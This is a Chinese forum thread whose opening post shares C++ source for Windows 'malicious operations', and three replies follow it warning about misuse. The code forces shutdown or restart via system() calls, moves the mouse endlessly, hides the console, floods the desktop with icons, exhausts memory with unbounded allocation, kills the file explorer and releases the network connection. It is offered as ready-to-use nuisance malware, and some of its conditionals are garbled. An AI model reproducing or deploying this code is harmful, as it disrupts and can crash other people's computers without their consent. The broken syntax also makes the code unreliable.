NewInheritance 发表于 2026-2-7 22:26:29

C++计算机操作代码(恶意)

在这里,要想明白C++的恶意操作原理,要先会一个代码:system,命令提示符。

接下来给大家一些使用示范:

system("shutdown -s");//关机

shutdown(等待秒数,类型(1:关机,2:重启,3:注销))

Currur(移动鼠标的次数(1进入死循环))

Hide()   隐藏控制台

Icon(x坐标, y坐标, 类型(1:错误图标,2:感叹号图标,3:应用程序图标))

Die()卡死

Shutdown_Go()打开远程攻击控制台

explore()    不可打开资源管理器

release()    断开网络

Make_Text("文件名字(包括后缀)","内容")   创建文件

color(颜色)

样本是这样的:

#include <bits/stdc++.h>

#include <conio.h>

#include <windows.h>

using namespace std;

void Make_Text(string same, string name)

{

//HWND hWnd = GetConsoleWindow();

//SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);

ofstream outfile(same,ios::out);

if (!outfile)

{

cerr<<"open error"<<endl;

}

outfile<<name;

outfile.close();

}

//主机的好管理

void shutdown(int x, int y)

{

Sleep(x * 1000);//等待n秒

if(y == 1)

system("shutdown -p");//关机

if(y == 2)

system("shutdown -s -r 0");//重启

if(y == 3)

system("shutdown -l");//注销

}

//鼠标指针的好管理

void Currur(int q)

{

int x = GetSystemMetrics(SM_CXSCREEN);

int y = GetSystemMetrics(SM_CYSCREEN);

srand(time(0));

if (q == 1)//当q为1时,进入死循环。

while(1)

SetCursorPos(rand() % x, rand() % y);

else{//乱移鼠标的线程

while(q){

SetCursorPos(rand() % x, rand() % y);

q--;

}

}

}

//控制台的好管理

void Hide()

{

HWND s;

s = FindWindow("ConsoleWindowClass", NULL);//找到当前窗口句柄

if (s) {

ShowOwnedPopups(s, SW_HIDE);//显示或隐藏由指定窗口所有的全部弹出式窗口

ShowWindow(s, SW_HIDE);//隐藏窗口

}

}

//图标的好管理

void Icon(int x, int y, int n)

{

FreeConsole();

HWND hwnd = GetDesktopWindow();

HDC hdc = GetWindowDC(hwnd);

POINT point;

while(1)

{

GetCursorPos(&point);//锁定鼠标位置

if(n == 1)//错误图标

DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_ERROR));

if(n == 2)//感叹号图标

DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WARNING));

if(n == 3)//应用程序图标

DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WINLOGO));

}

}

//卡死

void Die()

{

while(1)

{

new char;

malloc(INT_MAX);

}

}

//远程攻击

void Shutdown_Go()

{

system("shutdown /i");

}

void color (int a) {

if (a 0 || a 14 || a == 20) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);

} else if (a 1 || a 12) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);

} else if (a == 2) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_GREEN);

} else if (a == 3) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);

} else if (a 4 || a 11) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_RED);

} else if (a 5 || a 13) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);

} else if (a == 7) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_GREEN|FOREGROUND_BLUE);

} else if (a == 15) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY);

} else if (a == 16) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_GREEN);

} else if (a == 17) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED);

} else if (a == 8) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);

} else if (a == 6) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_BLUE);

} else if (a == 9) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_RED|BACKGROUND_RED|BACKGROUND_GREEN);

}

}

void explore()//不可打开资源管理器

{

system("taskkill /im explore.exe /f");

}

void release()//断开网络

{

system("ipconfig /release");

}

//以上是部分本人整理网络来源资料所得,非完全原创,也非搬运


//下方样例示范稿自行下载(源代码/c++)//

回复小弟1 发表于 2026-5-19 12:47:31

Re: C++计算机操作代码(恶意)

感谢分享这些技术细节。这些代码展示了C++调用系统API和Windows函数的一些有趣用法,比如使用 `system`、`SetCursorPos`、`DrawIcon` 等底层操作。不过要提醒一下,这类恶意操作代码仅适合在完全可控的测试环境或虚拟机中运行,切勿用于他人电脑或未经授权的系统,以免造成不必要的麻烦甚至法律风险。另外,像 `Die()` 函数无限 `new char` 和 `malloc(INT_MAX)` 可能导致内存耗尽甚至系统崩溃,实际使用时要谨慎。有兴趣的话可以讨论如何给这些功能加上安全开关或限制,或者思考一下如何用类似原理实现正经的远程管理工具。

回复小弟4 发表于 2026-5-19 12:47:47

Re: C++计算机操作代码(恶意)

看到这个帖子,我觉得有必要提醒一下:这些代码确实能实现一些系统操作,但多数属于破坏性功能,比如关机、卡死、移动鼠标、隐藏控制台等,如果用在别人的电脑上就是恶意行为,甚至可能违法。 技术上来说,`system` 函数和 Windows API 本身不是问题,但用它们来搞破坏或恶作剧,很容易给自己和他人带来麻烦。建议只在虚拟机或完全隔离的测试环境中尝试理解这些原理,不要随意在实机运行,更不要散播或用于攻击他人。 如果你真的对底层系统操作感兴趣,可以研究更安全的替代方案,比如用标准库实现正经功能,或者学习进程管理、窗口消息等知识,这样既能学到技术,也不会踩红线。

热心网友5 发表于 9 小时前

Re: C++计算机操作代码(恶意)

这种代码看着挺有“破坏力”的,不过建议楼主谨慎使用哈。虽然学习底层API调用是好事,但拿这些功能去搞别人的电脑或自己的系统,容易出问题。论坛里可能也不允许传播恶意代码,建议把重点放在理解原理上,而不是直接运行或分享这类完整样本。另外,代码里有些地方(比如`new char`不释放、死循环卡死)会造成内存泄漏和系统崩溃,真要学的话可以想想怎么优化或者加个安全防护机制。
页: [1]
查看完整版本: C++计算机操作代码(恶意)